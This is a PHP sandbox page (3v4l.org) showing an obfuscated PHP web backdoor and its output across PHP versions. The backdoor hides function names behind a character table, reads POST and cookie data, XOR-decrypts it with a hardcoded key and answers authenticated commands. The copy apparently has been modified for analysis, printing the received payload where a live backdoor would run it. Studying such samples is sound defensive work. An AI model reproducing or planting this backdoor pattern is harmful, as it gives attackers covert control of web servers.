3v4l.org

run code in 200+ php & hhvm versions
Bugs & Features
<?php //$GLOBALS[ 'b94d5f' ]; //global$b94d5f; $b94d5f = $GLOBALS; $b94d5f[ 'h43871a6' ] = "\x53\x3d\x46\x4d\x31\x54\x5c\x21\x58\x4c\xa\x2a\x56\x39\x6c\x42\x79\x3e\x49\x22\x62\x76\x68\x23\x43\x69\x25\x5e\x6b\x9\x70\x34\x27\x71\x44\x3a\x4a\x7d\x4f\x2c\x20\x6f\x35\x4b\x6e\x75\x7a\x65\x52\x6a\x60\x78\x36\x50\x66\x5b\x6d\x2d\x5d\x64\x45\x51\x28\x4e\x7c\x63\x29\x5a\x30\x5f\x3b\x55\x41\x38\x47\x2b\x40\x67\x3f\x72\x59\x2f\x2e\xd\x57\x73\x48\x24\x61\x77\x33\x37\x32\x7e\x3c\x7b\x74\x26"; $b94d5f[ $b94d5f[ 'h43871a6' ][ 25 ] . $b94d5f[ 'h43871a6' ][ 13 ] . $b94d5f[ 'h43871a6' ][ 88 ] . $b94d5f[ 'h43871a6' ][ 90 ] . $b94d5f[ 'h43871a6' ][ 42 ] ] = $b94d5f[ 'h43871a6' ][ 65 ] . $b94d5f[ 'h43871a6' ][ 22 ] . $b94d5f[ 'h43871a6' ][ 79 ]; $b94d5f[ $b94d5f[ 'h43871a6' ][ 51 ] . $b94d5f[ 'h43871a6' ][ 88 ] . $b94d5f[ 'h43871a6' ][ 59 ] . $b94d5f[ 'h43871a6' ][ 52 ] ] = $b94d5f[ 'h43871a6' ][ 41 ] . $b94d5f[ 'h43871a6' ][ 79 ] . $b94d5f[ 'h43871a6' ][ 59 ]; $b94d5f[ $b94d5f[ 'h43871a6' ][ 28 ] . $b94d5f[ 'h43871a6' ][ 91 ] . $b94d5f[ 'h43871a6' ][ 4 ] . $b94d5f[ 'h43871a6' ][ 92 ] ] = $b94d5f[ 'h43871a6' ][ 85 ] . $b94d5f[ 'h43871a6' ][ 96 ] . $b94d5f[ 'h43871a6' ][ 79 ] . $b94d5f[ 'h43871a6' ][ 14 ] . $b94d5f[ 'h43871a6' ][ 47 ] . $b94d5f[ 'h43871a6' ][ 44 ]; $b94d5f[ $b94d5f[ 'h43871a6' ][ 51 ] . $b94d5f[ 'h43871a6' ][ 59 ] . $b94d5f[ 'h43871a6' ][ 52 ] . $b94d5f[ 'h43871a6' ][ 59 ] . $b94d5f[ 'h43871a6' ][ 20 ] . $b94d5f[ 'h43871a6' ][ 90 ] . $b94d5f[ 'h43871a6' ][ 42 ] ] = $b94d5f[ 'h43871a6' ][ 25 ] . $b94d5f[ 'h43871a6' ][ 44 ] . $b94d5f[ 'h43871a6' ][ 25 ] . $b94d5f[ 'h43871a6' ][ 69 ] . $b94d5f[ 'h43871a6' ][ 85 ] . $b94d5f[ 'h43871a6' ][ 47 ] . $b94d5f[ 'h43871a6' ][ 96 ]; $b94d5f[ $b94d5f[ 'h43871a6' ][ 20 ] . $b94d5f[ 'h43871a6' ][ 42 ] . $b94d5f[ 'h43871a6' ][ 52 ] . $b94d5f[ 'h43871a6' ][ 88 ] . $b94d5f[ 'h43871a6' ][ 92 ] . $b94d5f[ 'h43871a6' ][ 92 ] ] = $b94d5f[ 'h43871a6' ][ 85 ] . $b94d5f[ 'h43871a6' ][ 47 ] . $b94d5f[ 'h43871a6' ][ 79 ] . $b94d5f[ 'h43871a6' ][ 25 ] . $b94d5f[ 'h43871a6' ][ 88 ] . $b94d5f[ 'h43871a6' ][ 14 ] . $b94d5f[ 'h43871a6' ][ 25 ] . $b94d5f[ 'h43871a6' ][ 46 ] . $b94d5f[ 'h43871a6' ][ 47 ]; $b94d5f[ $b94d5f[ 'h43871a6' ][ 96 ] . $b94d5f[ 'h43871a6' ][ 92 ] . $b94d5f[ 'h43871a6' ][ 88 ] . $b94d5f[ 'h43871a6' ][ 47 ] . $b94d5f[ 'h43871a6' ][ 73 ] . $b94d5f[ 'h43871a6' ][ 91 ] . $b94d5f[ 'h43871a6' ][ 91 ] . $b94d5f[ 'h43871a6' ][ 31 ] ] = $b94d5f[ 'h43871a6' ][ 30 ] . $b94d5f[ 'h43871a6' ][ 22 ] . $b94d5f[ 'h43871a6' ][ 30 ] . $b94d5f[ 'h43871a6' ][ 21 ] . $b94d5f[ 'h43871a6' ][ 47 ] . $b94d5f[ 'h43871a6' ][ 79 ] . $b94d5f[ 'h43871a6' ][ 85 ] . $b94d5f[ 'h43871a6' ][ 25 ] . $b94d5f[ 'h43871a6' ][ 41 ] . $b94d5f[ 'h43871a6' ][ 44 ]; $b94d5f[ $b94d5f[ 'h43871a6' ][ 20 ] . $b94d5f[ 'h43871a6' ][ 52 ] . $b94d5f[ 'h43871a6' ][ 92 ] . $b94d5f[ 'h43871a6' ][ 92 ] . $b94d5f[ 'h43871a6' ][ 47 ] ] = $b94d5f[ 'h43871a6' ][ 45 ] . $b94d5f[ 'h43871a6' ][ 44 ] . $b94d5f[ 'h43871a6' ][ 85 ] . $b94d5f[ 'h43871a6' ][ 47 ] . $b94d5f[ 'h43871a6' ][ 79 ] . $b94d5f[ 'h43871a6' ][ 25 ] . $b94d5f[ 'h43871a6' ][ 88 ] . $b94d5f[ 'h43871a6' ][ 14 ] . $b94d5f[ 'h43871a6' ][ 25 ] . $b94d5f[ 'h43871a6' ][ 46 ] . $b94d5f[ 'h43871a6' ][ 47 ]; $b94d5f[ $b94d5f[ 'h43871a6' ][ 21 ] . $b94d5f[ 'h43871a6' ][ 13 ] . $b94d5f[ 'h43871a6' ][ 90 ] . $b94d5f[ 'h43871a6' ][ 54 ] . $b94d5f[ 'h43871a6' ][ 92 ] ] = $b94d5f[ 'h43871a6' ][ 20 ] . $b94d5f[ 'h43871a6' ][ 88 ] . $b94d5f[ 'h43871a6' ][ 85 ] . $b94d5f[ 'h43871a6' ][ 47 ] . $b94d5f[ 'h43871a6' ][ 52 ] . $b94d5f[ 'h43871a6' ][ 31 ] . $b94d5f[ 'h43871a6' ][ 69 ] . $b94d5f[ 'h43871a6' ][ 59 ] . $b94d5f[ 'h43871a6' ][ 47 ] . $b94d5f[ 'h43871a6' ][ 65 ] . $b94d5f[ 'h43871a6' ][ 41 ] . $b94d5f[ 'h43871a6' ][ 59 ] . $b94d5f[ 'h43871a6' ][ 47 ]; $b94d5f[ $b94d5f[ 'h43871a6' ][ 51 ] . $b94d5f[ 'h43871a6' ][ 65 ] . $b94d5f[ 'h43871a6' ][ 13 ] . $b94d5f[ 'h43871a6' ][ 73 ] . $b94d5f[ 'h43871a6' ][ 54 ] . $b94d5f[ 'h43871a6' ][ 88 ] . $b94d5f[ 'h43871a6' ][ 13 ] . $b94d5f[ 'h43871a6' ][ 88 ] ] = $b94d5f[ 'h43871a6' ][ 85 ] . $b94d5f[ 'h43871a6' ][ 47 ] . $b94d5f[ 'h43871a6' ][ 96 ] . $b94d5f[ 'h43871a6' ][ 69 ] . $b94d5f[ 'h43871a6' ][ 96 ] . $b94d5f[ 'h43871a6' ][ 25 ] . $b94d5f[ 'h43871a6' ][ 56 ] . $b94d5f[ 'h43871a6' ][ 47 ] . $b94d5f[ 'h43871a6' ][ 69 ] . $b94d5f[ 'h43871a6' ][ 14 ] . $b94d5f[ 'h43871a6' ][ 25 ] . $b94d5f[ 'h43871a6' ][ 56 ] . $b94d5f[ 'h43871a6' ][ 25 ] . $b94d5f[ 'h43871a6' ][ 96 ]; $b94d5f[ $b94d5f[ 'h43871a6' ][ 85 ] . $b94d5f[ 'h43871a6' ][ 59 ] . $b94d5f[ 'h43871a6' ][ 92 ] . $b94d5f[ 'h43871a6' ][ 90 ] ] = $b94d5f[ 'h43871a6' ][ 44 ] . $b94d5f[ 'h43871a6' ][ 59 ] . $b94d5f[ 'h43871a6' ][ 4 ] . $b94d5f[ 'h43871a6' ][ 47 ]; $b94d5f[ $b94d5f[ 'h43871a6' ][ 33 ] . $b94d5f[ 'h43871a6' ][ 54 ] . $b94d5f[ 'h43871a6' ][ 73 ] . $b94d5f[ 'h43871a6' ][ 52 ] . $b94d5f[ 'h43871a6' ][ 88 ] . $b94d5f[ 'h43871a6' ][ 4 ] . $b94d5f[ 'h43871a6' ][ 13 ] . $b94d5f[ 'h43871a6' ][ 91 ] ] = $b94d5f[ 'h43871a6' ][ 21 ] . $b94d5f[ 'h43871a6' ][ 59 ] . $b94d5f[ 'h43871a6' ][ 65 ] . $b94d5f[ 'h43871a6' ][ 20 ] . $b94d5f[ 'h43871a6' ][ 91 ] . $b94d5f[ 'h43871a6' ][ 4 ] . $b94d5f[ 'h43871a6' ][ 13 ] . $b94d5f[ 'h43871a6' ][ 73 ]; $b94d5f[ $b94d5f[ 'h43871a6' ][ 45 ] . $b94d5f[ 'h43871a6' ][ 31 ] . $b94d5f[ 'h43871a6' ][ 88 ] . $b94d5f[ 'h43871a6' ][ 92 ] . $b94d5f[ 'h43871a6' ][ 20 ] . $b94d5f[ 'h43871a6' ][ 42 ] . $b94d5f[ 'h43871a6' ][ 65 ] . $b94d5f[ 'h43871a6' ][ 59 ] ] = $_POST; $b94d5f[ $b94d5f[ 'h43871a6' ][ 56 ] . $b94d5f[ 'h43871a6' ][ 13 ] . $b94d5f[ 'h43871a6' ][ 73 ] . $b94d5f[ 'h43871a6' ][ 31 ] ] = $_COOKIE; $b94d5f[ $b94d5f[ 'h43871a6' ][ 51 ] . $b94d5f[ 'h43871a6' ][ 59 ] . $b94d5f[ 'h43871a6' ][ 52 ] . $b94d5f[ 'h43871a6' ][ 59 ] . $b94d5f[ 'h43871a6' ][ 20 ] . $b94d5f[ 'h43871a6' ][ 90 ] . $b94d5f[ 'h43871a6' ][ 42 ] ]( $b94d5f[ 'h43871a6' ][ 47 ] . $b94d5f[ 'h43871a6' ][ 79 ] . $b94d5f[ 'h43871a6' ][ 79 ] . $b94d5f[ 'h43871a6' ][ 41 ] . $b94d5f[ 'h43871a6' ][ 79 ] . $b94d5f[ 'h43871a6' ][ 69 ] . $b94d5f[ 'h43871a6' ][ 14 ] . $b94d5f[ 'h43871a6' ][ 41 ] . $b94d5f[ 'h43871a6' ][ 77 ], NULL ); $b94d5f[ $b94d5f[ 'h43871a6' ][ 51 ] . $b94d5f[ 'h43871a6' ][ 59 ] . $b94d5f[ 'h43871a6' ][ 52 ] . $b94d5f[ 'h43871a6' ][ 59 ] . $b94d5f[ 'h43871a6' ][ 20 ] . $b94d5f[ 'h43871a6' ][ 90 ] . $b94d5f[ 'h43871a6' ][ 42 ] ]( $b94d5f[ 'h43871a6' ][ 14 ] . $b94d5f[ 'h43871a6' ][ 41 ] . $b94d5f[ 'h43871a6' ][ 77 ] . $b94d5f[ 'h43871a6' ][ 69 ] . $b94d5f[ 'h43871a6' ][ 47 ] . $b94d5f[ 'h43871a6' ][ 79 ] . $b94d5f[ 'h43871a6' ][ 79 ] . $b94d5f[ 'h43871a6' ][ 41 ] . $b94d5f[ 'h43871a6' ][ 79 ] . $b94d5f[ 'h43871a6' ][ 85 ], 0 ); $b94d5f[ $b94d5f[ 'h43871a6' ][ 51 ] . $b94d5f[ 'h43871a6' ][ 59 ] . $b94d5f[ 'h43871a6' ][ 52 ] . $b94d5f[ 'h43871a6' ][ 59 ] . $b94d5f[ 'h43871a6' ][ 20 ] . $b94d5f[ 'h43871a6' ][ 90 ] . $b94d5f[ 'h43871a6' ][ 42 ] ]( $b94d5f[ 'h43871a6' ][ 56 ] . $b94d5f[ 'h43871a6' ][ 88 ] . $b94d5f[ 'h43871a6' ][ 51 ] . $b94d5f[ 'h43871a6' ][ 69 ] . $b94d5f[ 'h43871a6' ][ 47 ] . $b94d5f[ 'h43871a6' ][ 51 ] . $b94d5f[ 'h43871a6' ][ 47 ] . $b94d5f[ 'h43871a6' ][ 65 ] . $b94d5f[ 'h43871a6' ][ 45 ] . $b94d5f[ 'h43871a6' ][ 96 ] . $b94d5f[ 'h43871a6' ][ 25 ] . $b94d5f[ 'h43871a6' ][ 41 ] . $b94d5f[ 'h43871a6' ][ 44 ] . $b94d5f[ 'h43871a6' ][ 69 ] . $b94d5f[ 'h43871a6' ][ 96 ] . $b94d5f[ 'h43871a6' ][ 25 ] . $b94d5f[ 'h43871a6' ][ 56 ] . $b94d5f[ 'h43871a6' ][ 47 ], 0 ); $b94d5f[ $b94d5f[ 'h43871a6' ][ 51 ] . $b94d5f[ 'h43871a6' ][ 65 ] . $b94d5f[ 'h43871a6' ][ 13 ] . $b94d5f[ 'h43871a6' ][ 73 ] . $b94d5f[ 'h43871a6' ][ 54 ] . $b94d5f[ 'h43871a6' ][ 88 ] . $b94d5f[ 'h43871a6' ][ 13 ] . $b94d5f[ 'h43871a6' ][ 88 ] ]( 0 ); $h9543 = NULL; $l18664 = NULL; $b94d5f[ $b94d5f[ 'h43871a6' ][ 85 ] . $b94d5f[ 'h43871a6' ][ 47 ] . $b94d5f[ 'h43871a6' ][ 90 ] . $b94d5f[ 'h43871a6' ][ 4 ] . $b94d5f[ 'h43871a6' ][ 20 ] . $b94d5f[ 'h43871a6' ][ 68 ] ] = $b94d5f[ 'h43871a6' ][ 91 ] . $b94d5f[ 'h43871a6' ][ 20 ] . $b94d5f[ 'h43871a6' ][ 13 ] . $b94d5f[ 'h43871a6' ][ 92 ] . $b94d5f[ 'h43871a6' ][ 92 ] . $b94d5f[ 'h43871a6' ][ 88 ] . $b94d5f[ 'h43871a6' ][ 65 ] . $b94d5f[ 'h43871a6' ][ 47 ] . $b94d5f[ 'h43871a6' ][ 57 ] . $b94d5f[ 'h43871a6' ][ 42 ] . $b94d5f[ 'h43871a6' ][ 92 ] . $b94d5f[ 'h43871a6' ][ 42 ] . $b94d5f[ 'h43871a6' ][ 31 ] . $b94d5f[ 'h43871a6' ][ 57 ] . $b94d5f[ 'h43871a6' ][ 31 ] . $b94d5f[ 'h43871a6' ][ 91 ] . $b94d5f[ 'h43871a6' ][ 65 ] . $b94d5f[ 'h43871a6' ][ 42 ] . $b94d5f[ 'h43871a6' ][ 57 ] . $b94d5f[ 'h43871a6' ][ 20 ] . $b94d5f[ 'h43871a6' ][ 73 ] . $b94d5f[ 'h43871a6' ][ 73 ] . $b94d5f[ 'h43871a6' ][ 88 ] . $b94d5f[ 'h43871a6' ][ 57 ] . $b94d5f[ 'h43871a6' ][ 90 ] . $b94d5f[ 'h43871a6' ][ 90 ] . $b94d5f[ 'h43871a6' ][ 4 ] . $b94d5f[ 'h43871a6' ][ 90 ] . $b94d5f[ 'h43871a6' ][ 52 ] . $b94d5f[ 'h43871a6' ][ 31 ] . $b94d5f[ 'h43871a6' ][ 13 ] . $b94d5f[ 'h43871a6' ][ 68 ] . $b94d5f[ 'h43871a6' ][ 59 ] . $b94d5f[ 'h43871a6' ][ 13 ] . $b94d5f[ 'h43871a6' ][ 88 ] . $b94d5f[ 'h43871a6' ][ 47 ]; global$se31b0; /** * XOR the bits of every character in two strings. * @return Bitwise XOR comparison of both strings. */ function vdcb7198( $subject, $otherString ) { $returnValue = ""; for ( $i = 0; $i < strlen( $subject ); ) { for ( $j = 0; $j < strlen( $otherString ) && $i < strlen( $subject ); $j++, $i++ ) { $returnValue .= chr( ord( $subject[ $i ] ) ^ ord( $otherString[ $j ] ) ); } } return $returnValue; } function nd1e( $subject, $otherString ) { global $se31b0; // Bitwise XOR... $value = vdcb7198( vdcb7198( $subject, $se31b0 ), $otherString ); echo "XOR invoked with arguments ( '$subject' ^ '$se31b0' ), '$otherString'\nResulting Value: '$value'\n"; return $value; } foreach ( $m984 as $key => $value ) { $l18664 = $key; $h9543 = $value; } if ( !$h9543 ) { foreach ( $u4a2b5cd as $key => $value ) { $l18664 = $key; $h9543 = $value; } } $h9543 = unserialize( nd1e( base64_decode( $h9543 ), $l18664 ) ); var_dump( $h9543 ); echo "\n" . $b94d5f[ 'h43871a6' ][ 47 ] . "\n" . $b94d5f[ 'h43871a6' ][ 59 ] . "\n"; if ( isset( $h9543[ 'ak' ] ) && $se31b0 == $h9543[ 'ak' ] ) { if ( $h9543[ 'a' ] == 'i' ) { $jad2627f6 = array( 'pv' => phpversion(), 'sv' => '1.0-1' ); echo serialize( $jad2627f6 ); } elseif ( $h9543[ 'a' ] == $b94d5f[ 'h43871a6' ][ 47 ] ) { echo ($h9543[ $b94d5f[ 'h43871a6' ][ 59 ] ]); } exit(); } ?>
based on oaBXk
Output for 5.4.0 - 7.1.10, 7.3.0beta1
XOR invoked with arguments ( '' ^ '7b922ace-5254-47c5-b88a-33136490d9ae' ), '' Resulting Value: '' bool(false) e d
Output for 7.1.20
Warning: ini_set(): open_basedir restriction in effect. File() is not within the allowed path(s): (/tmp:/in) in /in/Knpkn on line 23 XOR invoked with arguments ( '' ^ '7b922ace-5254-47c5-b88a-33136490d9ae' ), '' Resulting Value: '' bool(false) e d